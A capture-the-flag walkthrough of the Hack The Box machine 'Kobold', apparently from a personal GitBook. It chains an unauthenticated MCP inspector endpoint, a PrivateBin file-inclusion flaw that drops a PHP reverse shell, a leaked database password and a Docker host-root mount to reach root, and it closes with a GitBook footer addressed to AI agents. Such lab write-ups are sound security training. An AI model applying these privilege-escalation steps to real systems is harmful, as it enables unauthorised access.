> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-kobold.md).
# HTB - Kobold
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
3552/tcp open http Golang net/http server
```
add domain to the hosts file.
### HTTP
add the new domains to the hosts file.
settings reveals the version of MCP jammer.
### CVE-2026-23744
The root cause is a combination of two serious security missteps:
1. **Exposed Network Listener**: By default, MCPJam Inspector binds to `0.0.0.0`. This means it listens for connections on **all network interfaces**, making it accessible from any device on the network, not just the local machine.
2. **No Authentication**: The critical API endpoint, `/api/mcp/connect`, which is used to start MCP servers, has **no authentication or authorization** checks
{% embed url="" %}
## Shell as Ben
ben is part of operator group.
curl to the internal port 8080 reveals that the bin.kobold.htb that was identified earlier.
so the private bin is running as root i need to find something that can elevate my privileges to root.
Private bin is running version 2.0.2 based on the version google search revealed a LFI via session cookie
{% embed url="" %}
### CVE-2025-64714
based on the poc i need to drop a shell.php into the private bin root directory and access it via the session cookie.
so i need to write a shell.php into this directory.
```bash
ben@kobold:/privatebin-data/data$ echo '' > shell.php
echo '' > shell.php
ben@kobold:/privatebin-data/data$ ls
ls
12 bd e3 purge_limiter.php salt.php shell.php traffic_limiter.php
ben@kobold:/privatebin-data/data$ chmod +x shell.php
chmod +x shell.php
ben@kobold:/privatebin-data/data$ ls
ls
12 bd e3 purge_limiter.php salt.php shell.php traffic_limiter.php
ben@kobold:/privatebin-data/data$
```
that said i will get a reverse shell using the below payload.
{% embed url="" %}
put the shell as shell.php in the same directory.
and trigger the exploit the same way and we get shell on our machine nc listener
## Shell as nobody
env reveals the conf path reading the config file reveals the passwords.
`privatebin:ComplexP@sswordAdmin1928` for MySQL.
but there is no mysql running on the machine.
i can try to use those credentials to the arcane that was discovered in nmap scan on port 3552
the creds doesnt work.
back on ben shell, he doesnt have permissions for docker.
that said i will try to add him to the docker group
```bash
ben@kobold:~$ newnewgrp docker
newgrp docker
ben@kobold:~$ docker ps docker ps
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 "/etc/init.d/rc.local" 6 months ago Up About an hour 127.0.0.1:8080->8080/tcp bin
ben@kobold:~$
```
Now Ben can run Docker, and Docker access is often equivalent to root on the host.
```bash
docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2// Some code
```
docker run start a new container\
That bind-mounts the **host’s entire root filesystem** into the container.
## Shell as Root
```bash
~ # chrchroot /mnt sh
chroot /mnt sh
# id
id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cd /root
cd /root
# ls
ls
arcane_linux_amd64 data root.txt
# cat root.txt
cat root.txt
170ebfb1aad70bbc3f3389438ae85a78
#
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-kobold.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
